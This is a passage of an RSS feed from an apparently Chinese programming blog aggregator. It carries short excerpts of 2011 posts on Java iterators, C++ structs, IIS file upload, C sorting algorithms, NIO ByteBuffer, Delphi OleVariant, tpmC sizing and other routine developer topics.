{&#xD;checkForComodification();&#xD;try {&#xD;E next = get(cursor);&#xD;lastRet = cursor++;&#xD;return next;&#xD;} catch (IndexOutOfBoundsException e) {&#xD;checkForComodification();&#xD;throw new NoSuchElementException();&#xD;}&#xD;} 看next中调用的checkForComodification(), 在remove方法中也调用了checkForComodification()！接着checkForComodification()方法里面在做些什么事情！</description>
    </item>
    <item>
      <title>对于C&#43;&#43;中类(class) 与结构(struct)的描述正确的为</title>
      <link>https://bchobby.github.io/posts/ec0f3e46ff15921372b2b5e48169aa47/</link>
      <pubDate>Wed, 17 Aug 2011 08:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec0f3e46ff15921372b2b5e48169aa47/</guid>
      <description>对于C++中类(class) 与结构(struct)的描述正确的为： A,类中的成员默认是private 的,当是可以声明为public,private 和protected,结构中定义的成员&#xA;默认的都是public;&#xA;B,结构中不允许定义成员函数,当是类中可以定义成员函数;&#xA;C,结构实例使用malloc() 动态创建,类对象使用new 操作符动态分配内存;&#xA;D,结构和类对象都必须使用new 创建;&#xA;E,结构中不可以定义虚函数,当是类中可以定义虚函数.&#xA;F,结构不可以存在继承关系,当是类可以存在继承关系. #include &amp;lt;iostream&amp;gt;&#xD;#include &amp;lt;string&amp;gt;&#xD;using namespace std;&#xD;//结构&#xD;struct B{&#xD;int a;&#xD;virtual void fun(){&#xD;cout&amp;lt;&amp;lt;&#34;hello B&#34;&amp;lt;&amp;lt;endl;&#xD;}&#xD;};&#xD;struct BB:public B{&#xD;void fun(){&#xD;cout&amp;lt;&amp;lt;&#34;hello BB&#34;&amp;lt;&amp;lt;endl;&#xD;}&#xD;};&#xD;//类&#xD;class C&#xD;{&#xD;int a;&#xD;public:&#xD;void fun(){&#xD;cout&amp;lt;&amp;lt;&#34;hello&#34;&amp;lt;&amp;lt;endl;&#xD;}&#xD;};&#xD;void main(){&#xD;B b,*pb;//C,D选项：结构或和类对象可以在栈上创建&#xD;b.fun();//B选项：结构中允许定义成员函数&#xD;b.a=12;//A选项：结构中的成员默认是public的&#xD;BB bb;//F选项：结构中可以存在继承关系&#xD;pb=&amp;amp;bb;&#xD;pb-&amp;gt;fun();//E选项：结构中可以定义虚函数&#xD;C c;&#xD;//A选项：类中的成员默认是private的,当是可以声明为public,private 和protected,&#xD;//结构中定义的成员默认的都是public;&#xD;//c.</description>
    </item>
    <item>
      <title>向已在IIS中开启写权限的服务器直接上传文件</title>
      <link>https://bchobby.github.io/posts/3c279babfbc0b176d7597e588ba8e3dd/</link>
      <pubDate>Wed, 10 Aug 2011 10:15:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c279babfbc0b176d7597e588ba8e3dd/</guid>
      <description>向IIS传文件大家可能都会去写一个接收的页面，其实只要在IIS里设置“允许写”就可以直接向IIS所在的虚拟目录中上传文件了，不过这个很危险，本人并不建议使用，因为你可以方便上传下载文件，也代表其他人也可以轻易上传下载文件。&#xA;HttpWebRequest request = (HttpWebRequest)WebRequest.Create(@&#34;http://localhost/test111/113.txt&#34;); //地址是你要上传文件并且在服务器上创建的文件名&#xA;request.Method = WebRequestMethods.File.UploadFile;&#xA;request.AllowWriteStreamBuffering = true;&#xA;Stream s = request.GetRequestStream();&#xA;FileStream fs = new FileStream(@&#34;C:\text.txt&#34;, FileMode.Open, FileAccess.Read);&#xA;byte[] b = new byte[fs.Length];&#xA;fs.Read(b, 0, b.Length);&#xA;s.Write(b, 0, b.Length);&#xA;s.Flush();&#xA;fs.Close();&#xA;s.Close();&#xA;request.GetResponse(); //这句话一定要写否则虚拟目录下出不来文件&#xA;删除某个文件&#xA;HttpWebRequest request = (HttpWebRequest)WebRequest.Create(@&#34;http://localhost/test111/113.txt&#34;); request.Method =“DELETE”;&#xA;request.AllowWriteStreamBuffering = true;&#xA;request.GetResponse(); 读取远程iis上的文件&#xA;HttpWebRequest request = (HttpWebRequest)WebRequest.Create(@&#34;http://localhost/test111/113.txt&#34;); request.ContentType = &#34;application/octet-stream&#34;;&#xA;request.Method = WebRequestMethods.File.DownloadFile;&#xA;request.AllowWriteStreamBuffering = true;&#xA;WebResponse response = request.GetResponse();&#xA;Stream s = response.</description>
    </item>
    <item>
      <title>【转】latex常见错误对照表</title>
      <link>https://bchobby.github.io/posts/96501e7c732419a4c7743fbadd70cd28/</link>
      <pubDate>Sun, 07 Aug 2011 12:39:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96501e7c732419a4c7743fbadd70cd28/</guid>
      <description>原文链接：http://www.cs.utexas.edu/~witchel/errorclasses.html Latex Error Classes Ambiguous Errors This is a list of error classes with ambiguos error messages. Here either the errors are have different causes and the message output is same or else the errors have the same root cause but the messages are different. S.NoClassError MessageCause of Error1e_des! LaTeX Error: There&#39;s no line here to endUsage of \\ at the end of a long label in &#39;description&#39; environment2e_center! LaTeX Error: There&#39;s no line here to endUsage of \\ after the heading line in &#39;center&#39; environment3e_foot !</description>
    </item>
    <item>
      <title>MFC 利用小型数据库Access 少步惆 教你用VC开发</title>
      <link>https://bchobby.github.io/posts/49d13735f4e0707a67644ff2621ffb20/</link>
      <pubDate>Thu, 28 Jul 2011 16:38:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49d13735f4e0707a67644ff2621ffb20/</guid>
      <description>目 录&#xA;情境一 面向对象基础应用.... 4&#xA;任务：类的声明及成员的访问控制... 4&#xA;任务：构造函数和析构函数的应用... 2&#xA;任务：成员函数的应用... 4&#xA;任务：继承性的作用... 6&#xA;任务：函数的重载的应用... 6&#xA;任务：虚函数的使用... 8&#xA;任务：函数模板和模板函数的运用... 10&#xA;任务：类模板与模板类的运用... 11&#xA;情境二 创建简单的MFC应用程序.... 15&#xA;相关技术介绍... 15&#xA;任务：创建一个MFC工程... 15&#xA;任务：模式对话框与非模式对话框的创建... 20&#xA;任务：创建非模式对话框... 27&#xA;任务：分析对话框的数据交换机制... 28&#xA;任务：创建模式对话框... 30&#xA;任务：分析模式对话框和非模式对话框的区别... 31&#xA;情境三 制作基于ADO的人员管理系统.... 32&#xA;·相关技术介绍... 33&#xA;·制作过程任务分解及相关技术详解... 33&#xA;任务：创建一个基于MFC对话框应用程序... 33&#xA;任务：控件的放置及相应消息函数，成员变量添加... 33&#xA;任务：编写相关功能函数代码... 33&#xA;·ADO技术介绍... 42&#xA;·任务：引入ADO库文件... 42&#xA;·任务：初始化ADO环境... 42&#xA;接口简介... 42&#xA;情境四 运用MFC实现简单绘图.... 55&#xA;·任务1 绘制图形... 55&#xA;·任务2 绘制文本... 58&#xA;·任务3 从任意位置装入一个图标并绘制.</description>
    </item>
    <item>
      <title>ImageButton Web服务器控件（九）</title>
      <link>https://bchobby.github.io/posts/96aafa915d32e6e0a279a84da2e75964/</link>
      <pubDate>Sun, 24 Jul 2011 10:12:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96aafa915d32e6e0a279a84da2e75964/</guid>
      <description>介绍 显示图像并对图像上的鼠标单击作出响应的控件。&#xA;在单击 ImageButton 控件时，将同时引发 Click 和 Command 事件。 可以使用 OnCommand 事件处理程序使 ImageButton 控件的行为类似于命令按钮。 使用 CommandName 属性，可以将命令名与该控件相关联。 这允许在同一网页上放置多个 ImageButton 控件。 然后可以通过编程方式在 OnCommand 事件处理程序中标识 CommandName 属性的值，以确定在单击每个 ImageButton 控件时应执行的适当操作。 还可使用 CommandArgument 属性传递有关命令的附加信息，如指定升序顺序。 使用 ImageButton 控件与使用 ASP.NET Button 控件类似。 确定用户在何处点击 使用 OnClick 事件处理程序，可以通过编程方式确定单击的图像位置的坐标。 然后，可以根据坐标值(ImageClickEventArgs.X|Y)编写响应代码。 原点 (0, 0) 位于图像的左上角。&#xA;ImageButton 控件和验证 默认情况下，在单击 ImageButton 控件时执行页验证。 页验证确定页上与验证控件关联的输入控件是否均通过该验证控件所指定的验证规则。 若要禁止页验证，请将 CausesValidation 属性设置为 false。 声明式语法 &amp;lt;asp:ImageButton AccessKey=&#34;string&#34; AlternateText=&#34;string&#34; BackColor=&#34;color name|#dddddd&#34; BorderColor=&#34;color name|#dddddd&#34; BorderStyle=&#34;NotSet|None|Dotted|Dashed|Solid|Double|Groove|Ridge| Inset|Outset&#34; BorderWidth=&#34;size&#34; CausesValidation=&#34;True|False&#34; CommandArgument=&#34;string&#34; CommandName=&#34;string&#34; CssClass=&#34;</description>
    </item>
    <item>
      <title>IP地址修改完成</title>
      <link>https://bchobby.github.io/posts/a5de90b0e87415b9b07cfb00801cacb5/</link>
      <pubDate>Fri, 15 Jul 2011 21:00:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5de90b0e87415b9b07cfb00801cacb5/</guid>
      <description>DWORD dwAddress=192&amp;lt;&amp;lt;24|168&amp;lt;&amp;lt;16|1&amp;lt;&amp;lt;8|168;&#xA;m_IPAddress.SetAddress(dwAddress);&#xA;DWORD dwNetMask=0xffffff00;&#xA;m_NetMask.SetAddress(dwNetMask);&#xA;DWORD dwNetGate=192&amp;lt;&amp;lt;24|168&amp;lt;&amp;lt;16|1&amp;lt;&amp;lt;8|1;&#xA;m_NetGate.SetAddress(dwNetGate);&#xA;/********************************************************************/&#xA;/*二、将IP信息写入注册表&#xA;代码如下:*/&#xA;BOOL RegSetIP(LPCTSTR lpszAdapterName, LPCTSTR pIPAddress, LPCTSTR pNetMask, LPCTSTR pNetGate)&#xA;{&#xA;HKEY hKey;&#xA;string strKeyName = &#34;SYSTEM//CurrentControlSet//Services//Tcpip//Parameters//Interfaces//&#34;;&#xA;strKeyName += (char*)lpszAdapterName;&#xA;if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,&#xA;(LPCSTR)strKeyName.c_str(),&#xA;0,&#xA;KEY_WRITE,&#xA;&amp;amp;hKey) != ERROR_SUCCESS)&#xA;return FALSE;&#xA;char mszIPAddress[100];&#xA;char mszNetMask[100];&#xA;char mszNetGate[100];&#xA;strncpy(mszIPAddress, (LPCSTR)pIPAddress, 98);&#xA;strncpy(mszNetMask, (LPCSTR)pNetMask, 98);&#xA;strncpy(mszNetGate, (LPCSTR)pNetGate, 98);&#xA;int nIP, nMask, nGate;&#xA;nIP = strlen(mszIPAddress);&#xA;nMask = strlen(mszNetMask);&#xA;nGate = strlen(mszNetGate);&#xA;*(mszIPAddress + nIP + 1) = 0x00; // REG_MULTI_SZ数据需要在后面再加个0</description>
    </item>
    <item>
      <title>C语言数组排序法</title>
      <link>https://bchobby.github.io/posts/66ad801ebd038696ac8bb33bce683390/</link>
      <pubDate>Wed, 13 Jul 2011 20:27:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66ad801ebd038696ac8bb33bce683390/</guid>
      <description>很多朋友是以谭浩强老师编的《c语言教程》作为学习C语言的入门教程的。书中涉及排序问题一般都以“冒泡法”和“选择法”实现。为了扩大视野，增加学习编程的兴趣，我参阅了有关书籍，整理了几种排序法，写出来同大家共勉&#xA;让我们先定义一个整型数组a[n],下面用五种方法对其从小到大排序。 （1）“冒泡法” 冒泡法大家都较熟悉。其原理为从a[0]开始，依次将其和后面的元素比较,若a[0]&amp;gt;a[i ]，则交换它们，一直比较到a[n]。同理对a[1],a[2],...a[n-1]处理，即完成排序。下面列出其代码： void bubble(int *a,int n) /*定义两个参数：数组首地址与数组大小*/ { int i,j,temp; for(i=0;i&amp;lt;n-1;i++) for(j=i+1;j&amp;lt;n;j++) /*注意循环的上下限*/ if(a[i ]&amp;gt;a[j]) { temp=a[i ]; a[i ]=a[j]; a[j]=temp; } } 冒泡法原理简单，但其缺点是交换次数多，效率低。 下面介绍一种源自冒泡法但更有效率的方法“选择法”。 （2）“选择法” 选择法循环过程与冒泡法一致，它还定义了记号k=i,然后依次把a[k]同后面元素比较，若a[k]&amp;gt;a[j],则使k=j.最后看看k=i是否还成立，不成立则交换a[k],a[i ],这样就比冒泡法省下许多无用的交换，提高了效率。 void choise(int *a,int n) { int i,j,k,temp; for(i=0;i&amp;lt;n-1;i++) { k=i; /*给记号赋值*/ for(j=i+1;j&amp;lt;n;j++) if(a[k]&amp;gt;a[j ]) k=j; /*是k总是指向最小元素*/ if(i!=k) { /*当k!=i是才交换，否则a[i ] 即为最小*/ temp=a[i ]; a[i ]=a[k]; a[k]=temp; } } } 选择法比冒泡法效率更高，但说到高效率，非“快速法”莫属，现在就让我们来了解它。 （3）“快速法” 快速法定义了三个参数，（数组首地址*a,要排序数组起始元素下标i,要排序数组结束元素下标j). 它首先选一个数组元素（一般为a[(i +j)/2],即中间元素）作为参照，把比它小 的元素放到它的左边，比它大的放在右边。然后运用递归，在将它左，右两个子数组排序，最后完成整个数组的排序。下面分析其代码： void quick(int *a,int i,int j) { int m,n,temp; int k; m=i; n=j; k=a[(i +j)/2]; /*选取的参照*/ do { while(a[m]&amp;lt;k&amp;amp;&amp;amp;m&amp;lt;j) m++; /* 从左到右找比k大的元素*/ while(a[n]&amp;gt;k&amp;amp;&amp;amp;n&amp;gt;i) n--; /* 从右到左找比k小的元素*/ if(m&amp;lt;=n) { /*若找到且满足条件，则交换*/ temp=a[m]; a[m]=a[n]; a[n]=temp; m++; n--; } }while(m&amp;lt;=n); if(m&amp;lt;j) quick(a,m,j); /*运用递归*/ if(n&amp;gt;i) quick(a,i,n); } （4）“插入法” 插入法是一种比较直观的排序方法。它首先把数组头两个元素排好序，再依次把后面的元素插入适当的位置。把数组元素插完也就完成了排序。 void insert(int *a,int n) { int i,j,temp; for(i=1;i&amp;lt;n;i++) { temp=a[i ]; /*temp为要插入的元素*/ j=i-1; while(j&amp;gt;=0&amp;amp;&amp;amp;temp&amp;lt;a[j]) { /*从a[i -1]开始找比a[i ]小的数，同时把数组元素向后移*/ a[j+1]=a[j ]; j--; } a[j+1]=temp; /*插入*/ } } （5）“shell法” shell法是一个叫 shell 的美国人与1969年发明的。它首先把相距k(k&amp;gt;=1)的那几个元素排好序，再缩小k值（一般取其一半），再排序，直到k=1时完成排序。下面让我们来分析其代码： void shell(int *a,int n) { int i,j,k,x; k=n/2; /*间距值*/ while(k&amp;gt;=1) { for(i=k;i&amp;lt;n;i++) { x=a[i ]; j=i-k; while(j&amp;gt;=0&amp;amp;&amp;amp;x&amp;lt;a[j]) { a[j+k]=a[j ]; j-=k; } a[j+k]=x; } k/=2; /*缩小间距值*/ } } 上面我们已经对几种排序法作了介绍，现在让我们写个主函数检验一下。 #include&amp;lt;stdio.</description>
    </item>
    <item>
      <title>日语输入法下载（转）</title>
      <link>https://bchobby.github.io/posts/714b0b8d631c439ba31dc353ae13cff1/</link>
      <pubDate>Tue, 05 Jul 2011 09:25:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/714b0b8d631c439ba31dc353ae13cff1/</guid>
      <description>日文输入法下载大全 安装Windows时，为了节省空间，很多系统盘简化去除了日文输入法IME，虽然输入法栏可以调出日语选项，却不能够输入。日文输入不了怎么办？下载下面完整的日语输入法IME即可 最新推荐：微软日文输入法2010下载(Microsoft Japanese IMG 2010)： http://www.onlyjp.cn/download/WINIME2010JPN-onlyjp.cn.rar 微软日文输入法2007下载(Microsoft Japanese IMG 2007)： http://www.onlyjp.cn/download/WINIME2007JPN-onlyjp.cn.rar Google日文输入法[Google 日本語入力]： http://www.onlyjp.cn/download/Google-japanese-ime-onlyjp.cn.rar 百度日文输入法[Baidu 日本語入力]： http://www.onlyjp.cn/download/Baidu-japanese-ime-onlyjp.cn.rar 微软日文输入法2010下载64位(Microsoft Japanese IMG 2010)：64位的微软日文输入法包用在64位的系统里，一般是用上面的（32位） http://www.onlyjp.cn/download/WINIME2010-64JPN-onlyjp.cn.rar 接下来就4款日语输入法做一个简单评价。&#xA;微软2007日语输入法、百度日语输入法以及Google日语输入法在www.onlyjp.cn“学习资料”栏里都有下载/ 安装日语输入法时，有任何问题，请点击这里提出&#xA;欢迎加入日语学习QQ群：148811154&#xA;微软2010日语输入法评价：&#xA;微软2010日语输入法软件整体和上一版本(2007)区别不是特别大，文件包安装迅速。仍然是相同的输入页面风格，输入单词的过程中侧重一贯的严谨，没有联想词的派生。比起上一版本的最大改动，在这一版本中多出一个“单汉字”选项，用户在输入单词过程中可以选择这个选项来得出更多的同音异意词，他会引申出如人名、地名等多项同音汉字来满足用户的多方面需求。&#xA;总体来说微软2010日语输入法软件依然是中规中矩的一款比较平衡的输入法软件，对于习惯使用传统日语输入法的用户来说是一款比较不错的优化升级版。 微软2007日语输入法评价：&#xA;延续了系统自带的日语输入法。使用方式和原先一样，在输入假名后，浏览界面优化了，但不会派生太多的联想词。&#xA;优点：尊重使用者的每一个音标输入，不会去刻意派生也许使用者不需要的词汇。&#xA;缺点：没有太多派生词，对刚接触日语输入法的用户来说也许比较不习惯。&#xA;适合人群：经常使用原先传统电脑自带输入法的人群，习惯的界面，习惯的操作。&#xA;总结：总体来说，微软2007日语输入法就是原先电脑自带日语输入法的优化版。&#xA;百度日语输入法评价：&#xA;最大的不同就是使用界面。和中文输入法的那些使用界面非常相似（比如“搜gou”中文输入法），界面很清新，而且可以跟换界面皮肤，这是历来输入法不曾有的。输入音标后，浏览界面并不是我们熟悉的“竖向页面”，而是横向页面，在完整输入一个单词后“比如‘丰臣秀吉’的音标”，原本电脑自带传统输入法是需要在输入音标后再按下空格才会显示出“日文汉字”，而百度输入法是不需要的，只需要输入とよとみひでよし（以丰臣秀吉为例），就会在下面的选项直接出现此人的名字。&#xA;优点：界面可变化颜色，适合于追求时尚的用户。输入音标以后就会出现汉字选项，会有派生词。&#xA;缺点：个人认为横向浏览界会让用惯了传统输入法的用户来说有点不习惯。&#xA;适合人群：追求时尚，多变的用户。&#xA;google日语输入法&#xA;个人使用下来最青睐的输入法，保留了传统输入法的浏览界面（竖向的），同时在这3款输入法中是比较强调派生词的引用的，在单词输入未完整的情况下，浏览页会显示出相应或相近的单词选项，收入词库涉及人物，历史，社会，经济等多个领域。&#xA;优点：继承了传统输入法的大部分界面，单词联想力比较强。&#xA;缺点：对于使用传统输入法的用户来说会因为过多的单词派生而感觉不习惯。&#xA;适合人群：对于刚接触日语输入法的用户来说，这款软件是个比较适合于上手的入门软件。&#xA;欢迎加入日语学习QQ群：148811154&#xA;有任何输入方面的问题，欢迎加入日语输入法讨论组：http://www.onlyjp.cn/home/</description>
    </item>
    <item>
      <title>Iframe跨域错误Permission denied for to get property</title>
      <link>https://bchobby.github.io/posts/4b265442e48dfee9f88bc6a2c824b20d/</link>
      <pubDate>Mon, 04 Jul 2011 20:16:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b265442e48dfee9f88bc6a2c824b20d/</guid>
      <description>Iframe跨域错误：&#xA;Permission denied for [site1] to get property Location.href from [site 2] Permission denied for &amp;lt;site1&amp;gt; to get property Window.document from &amp;lt;site2&amp;gt;. 实际的问题是：从iframe里控制上层的窗口（window和domcument）是不安全的，跨域即会被限制访问。&#xA;这里也是同样的问题：&#xA;http://stackoverflow.com/questions/1292257/suppressing-permission-denied-errors-in-javascript&#xA;另外可以参考：javascript跨域共享的内容&#xA;http://hi.baidu.com/superlinyzu/blog/item/867ea6f0cecbcad07831aa27.html&#xA;O&#xA;O&#xA;O&#xA;--&#xA;0&#xA;0&#xA;0&#xA;0&#xA;0</description>
    </item>
    <item>
      <title>计算机英语(个人整理)（计算机专业）（全称&amp;缩写）</title>
      <link>https://bchobby.github.io/posts/34b20cf336b3fa6e5cce1ba3964d9f83/</link>
      <pubDate>Sun, 03 Jul 2011 14:04:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34b20cf336b3fa6e5cce1ba3964d9f83/</guid>
      <description>在个人积累中会持续更新&#xA;AAA ASCII Adjust for Addition 加法校正&#xA;abort [ə&#39;bɔ:t] vi. 流产；夭折：在SIGABORT中， 结束进程的信号&#xA;ACM Association for Computing Machinery [ə,səusi&#39;eiʃən] [mə&#39;ʃi:nəri] 美国计算机协会&#xA;ACM -ICPC ......International Collegiate Programming Contest 国际大学生程序设计大赛（ACM主办） ADO Activex Data Object ADO 技术应用于mfc ADT Abstract Data Type 抽象数据类型&#xA;AF Auxiliary Carry Flag 辅助进位标示&#xA;afx _msg application frame _message&#xA;AI Artificial Intelligence 人工智能&#xA;alarm [ə&#39;lɑ:m]警报，警告器：定时器&#xA;algorithm [&#39;ælɡəriðəm] 算法&#xA;alias /ˈeɪlɪəs; `elɪəs/别名 gdb中有不少alias,可以看一下help,在gdb下打help align 排成一行；对准，校正 eg: figure out physical address with page align</description>
    </item>
    <item>
      <title>ByteBuffer用法小结</title>
      <link>https://bchobby.github.io/posts/fa575ced6a9055c9df12e8179c51125a/</link>
      <pubDate>Thu, 30 Jun 2011 09:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa575ced6a9055c9df12e8179c51125a/</guid>
      <description>在NIO中,数据的读写操作始终是与缓冲区相关联的.读取时信道(SocketChannel)将数据读入缓冲区,写入时首先要将发送的数据按顺序填入缓冲区.缓冲区是定长的,基本上它只是一个列表,它的所有元素都是基本数据类型.ByteBuffer是最常用的缓冲区,它提供了读写其他数据类型的方法,且信道的读写方法只接收ByteBuffer.因此ByteBuffer的用法是有必要牢固掌握的.&#xA;1.创建ByteBuffer&#xA;1.1 使用allocate()静态方法&#xA;ByteBuffer buffer=ByteBuffer.allocate(256);&#xA;以上方法将创建一个容量为256字节的ByteBuffer,如果发现创建的缓冲区容量太小,唯一的选择就是重新创建一个大小合适的缓冲区.&#xA;1.2 通过包装一个已有的数组来创建&#xA;如下,通过包装的方法创建的缓冲区保留了被包装数组内保存的数据.&#xA;ByteBuffer buffer=ByteBuffer.wrap(byteArray);&#xA;如果要将一个字符串存入ByteBuffer,可以如下操作:&#xA;String sendString=&#34;你好,服务器. &#34;;&#xA;ByteBuffer sendBuffer=ByteBuffer.wrap(sendString.getBytes(&#34;UTF-16&#34;));&#xA;2.回绕缓冲区&#xA;buffer.flip();&#xA;这个方法用来将缓冲区准备为数据传出状态,执行以上方法后,输出通道会从数据的开头而不是末尾开始.回绕保持缓冲区中的数据不变,只是准备写入而不是读取.&#xA;3.清除缓冲区&#xA;buffer.clear();&#xA;这个方法实际上也不会改变缓冲区的数据,而只是简单的重置了缓冲区的主要索引值.不必为了每次读写都创建新的缓冲区,那样做会降低性能.相反,要重用现在的缓冲区,在再次读取之前要清除缓冲区.&#xA;4.从套接字通道(信道)读取数据&#xA;int bytesReaded=socketChannel.read(buffer);&#xA;执行以上方法后,通道会从socket读取的数据填充此缓冲区,它返回成功读取并存储在缓冲区的字节数.在默认情况下,这至少会读取一个字节,或者返回-1指示数据结束.&#xA;5.向套接字通道(信道)写入数据&#xA;socketChannel.write(buffer);&#xA;此方法以一个ByteBuffer为参数,试图将该缓冲区中剩余的字节写入信道.&#xA;-----------------------&#xA;ByteBuffer俗称缓冲器， 是将数据移进移出通道的唯一方式，并且我们只能创建一个独立的基本类型缓冲器，或者使用“as”方法从 ByteBuffer 中获得。ByteBuffer 中存放的是字节，如果要将它们转换成字符串则需要使用 Charset ， Charset 是字符编码，它提供了把字节流转换成字符串 ( 解码 ) 和将字符串转换成字节流 ( 编码) 的方法。&#xA;private byte[] getBytes (char[] chars) {//将字符转为字节(编码)&#xA;Charset cs = Charset.forName (&#34;UTF-8&#34;);&#xA;CharBuffer cb = CharBuffer.allocate (chars.length);&#xA;cb.put (chars);&#xA;cb.flip ();&#xA;ByteBuffer bb = cs.</description>
    </item>
    <item>
      <title>变量命名规则</title>
      <link>https://bchobby.github.io/posts/27e920381234d1002dae87b45b91d0ae/</link>
      <pubDate>Sun, 29 May 2011 21:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27e920381234d1002dae87b45b91d0ae/</guid>
      <description>&#34;命名规则&#34; Camel 标记法 首字母是小写的，接下来的单词都以大写字母开头。 28 如, var myTestValue = 0, mySecondTest = &#34;hi&#34; Pascal 标记法 首字母是大写的，接下来的单词都以大写字母开头。 如, var MyTestValue = 0, MySecondTest = &#34;hi&#34;&#xA;匈牙利类型 标记法 在以Pascal标记法命名的变量前附加一个小写字母(或小写字母序列)，说明该变量的类型。 例如，i表示整数，s表示字符串。 var iMyTestValue = 0, sMySecondTest = &#34;h&#34;&#xA;示例 数组 aValues 布尔型 bFound 函数 fnMethod 整型(数字) iValue 浮点型(数字) fValue 对象 oType 正则表达式 rePattern 字符串 sValue 变型(可以任何类型) vValue&#xA;特殊法 user_myName [所属归类 + Camel 标记法]&#xA;myname [全部小写]&#xA;转载于:https://www.cnblogs.com/leamiko/archive/2011/05/29/2062359.html</description>
    </item>
    <item>
      <title>C#数组之间的比较获取某个数组不包含有另一个数组的值</title>
      <link>https://bchobby.github.io/posts/b9475e5a31ff8df056271a86c5cd2c9c/</link>
      <pubDate>Thu, 19 May 2011 17:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9475e5a31ff8df056271a86c5cd2c9c/</guid>
      <description>业务需求，有时会需要比较两个数组，取一个数组中不包含另一个数组的值。代码如下：&#xA;1 string strs = string.Empty; 2 string[] strs1 = { &#34;a&#34;, &#34;b&#34;, &#34;c&#34;, &#34;d&#34; }; 3 string[] strs2 = { &#34;a&#34;, &#34;b&#34;, &#34;c&#34;, &#34;f&#34;, &#34;g&#34; }; 4 5 Dictionary&amp;lt;string, string&amp;gt; map = new Dictionary&amp;lt;string, string&amp;gt;(); 6 7 for (int k = 0; k &amp;lt; strs1.Length; k++) 8 { 9 map.Add(strs1[k], &#34;&#34;); 10 } 11 12 for (int m = 0; m &amp;lt; strs2.Length; m++) 13 { 14 //数组一已经存在的值是否包含指定的键值，不包含的才取出来 15 if (!</description>
    </item>
    <item>
      <title>Delphi OleVariant 类型的用法</title>
      <link>https://bchobby.github.io/posts/4b6dd799d7769ca7dc48dbf559ab289d/</link>
      <pubDate>Wed, 04 May 2011 18:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b6dd799d7769ca7dc48dbf559ab289d/</guid>
      <description>因客户需求，对客户的指纹机与公司产品进行集成，需要对指纹机做接口的二次开发，郁闷的是产商只提供了VB和C的DEMO示例，没有Delphi的，公司没有VB,C的环境，不能打开这二种语言的示例，因为本公司搭环境特麻烦，加上之前做过类似的开发，所以也懒得去搭环境了，按照以前的开发经验写了个DEMO进行测试，一路进行得很顺利，但到了下载用户指纹和上传用户指纹数据时卡住了，因为下载用户指纹时，用于获取指纹数据传入到接口函数中的参数类型是OleVariant类型的，返回后变成了 Variant array of Integer类型了。这里碰到二个问题了：&#xA;1、如何从OleVariant类型的数组中赋值取值&#xA;2、指纹数据放在了一个数组中，我如何把这些数据保存到数据库和很方便的从数据库取出来&#xA;一直以为OleVariant很复杂，在网上搜了很多资料，终于发现OleVariant类型数组赋值和取值其实很简单，如下：&#xA;取值：&#xA;procedure p_GetEnrollData(); var dwEnrollData:OleVariant; High,Low,i:Integer; sEnrollList:TStringList; begin sEnrollList:=TStringList.Create; try High:=VarArrayHighBound(dwEnrollData,1); Low:=varArrayLowBound(dwEnrollData,1); for i:=Low to High do begin sEnrollList.Add(inttostr(dwEnrollData[i])) end; //把sEnrollList.Text 保存到数据库中 finally sEnrollList.Free; end; end; 赋值：&#xA;procedure p_SetEnrollData(); var dwEnrollData:OleVariant; i:Integer; begin dwEnrollData:=VarArrayCreate([0,1000],varInteger); for i:=0 to 1000 do dwEnrollData[i]:=i; end; 是不是很简单了呢？</description>
    </item>
    <item>
      <title>tpcC值计算方法</title>
      <link>https://bchobby.github.io/posts/41e338fc01897709d5408012e9d2ab24/</link>
      <pubDate>Tue, 03 May 2011 17:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41e338fc01897709d5408012e9d2ab24/</guid>
      <description>计算原则： 以单台服务器性能进行计算，即确保单台服务器工作的时候可以满足系统正常运行的需要；&#xA;假设每天有1万人次来窗口办理业务，每人次办理一项业务。即以每日1万笔前台交易为例进行综合系数的推导：&#xA;1. 假设每月前台交易数（未来5年内的设计指标）为220,000 （有些业务在月初、月末的处理量比较高，按月统计可以平衡此项差异）;&#xA;2. 每日前台交易数=220000/22=10,000 ，即每日 1万笔；&#xA;3. 忙时处理能力：每日交易的80%在4个小时内完成，即10000*80%/4=2000（笔/小时）&#xA;4. 峰值处理能力：2000*2=4000（笔/小时），即峰值处理能力为每小时4000笔，或 67笔/分，假设业务人员同时在线为100人，即每人每分钟处理0.7笔）&#xA;5. 假设每笔交易对应数据库事务数=20，基准TPC指标值对应的比例=8，cpu保留30%的处理能力冗余，计算值与公布值（最优值）的偏差经验值为4 （这几个参数估算的依据不足，更多的是经验值）&#xA;则 tpmC值为：&#xA;tpmC= 67*20*8*4/(1-30%)= 61257&#xA;倒算出 综合系数 = 61257/10000=6.1&#xA;即数据库服务器tpmC= 每日前台交易数 * 6.1 （实际计算值应不高于该值）&#xA;应用服务器的 tpmC = 数据库服务器 tpmC *50% （一般）&#xA;应用服务器的 tpmC = 数据库服务器 tpmC *70% （涉及大量计算的，如社保、税务）&#xA;建议：&#xA;不管是TPC-C还是SPECjbb2000，计算结果都只能作为一个横向比较的参考。在实际应用中，决定系统性能的因素除了硬件、系统软件外，与应用软件的设计也是有很大关系的，此外，基于系统可扩展性的考虑，更多时候也倾向于一次性的采购。&#xA;从长远考虑，以政府信息化主管部门的角度考虑，建立一套评估机制是非常有用的，这其中包括：&#xA;1、 通过对各单位业务系统运行情况的调查，进行历史数据的收集分析，按分类建立基准指标库。收集的信息包括：服务器的配置、并发用户数（每天业务量）、CPU负荷等；&#xA;2、 由厂商定期提供基准值，更新基准指标库；&#xA;有了基准指标库的信息参照，不仅可以用于评估项目建设方案中服务器选型，也可以对各部门进行系统架构设计的优化提供指导。如以下是一些指导原则：&#xA;1、 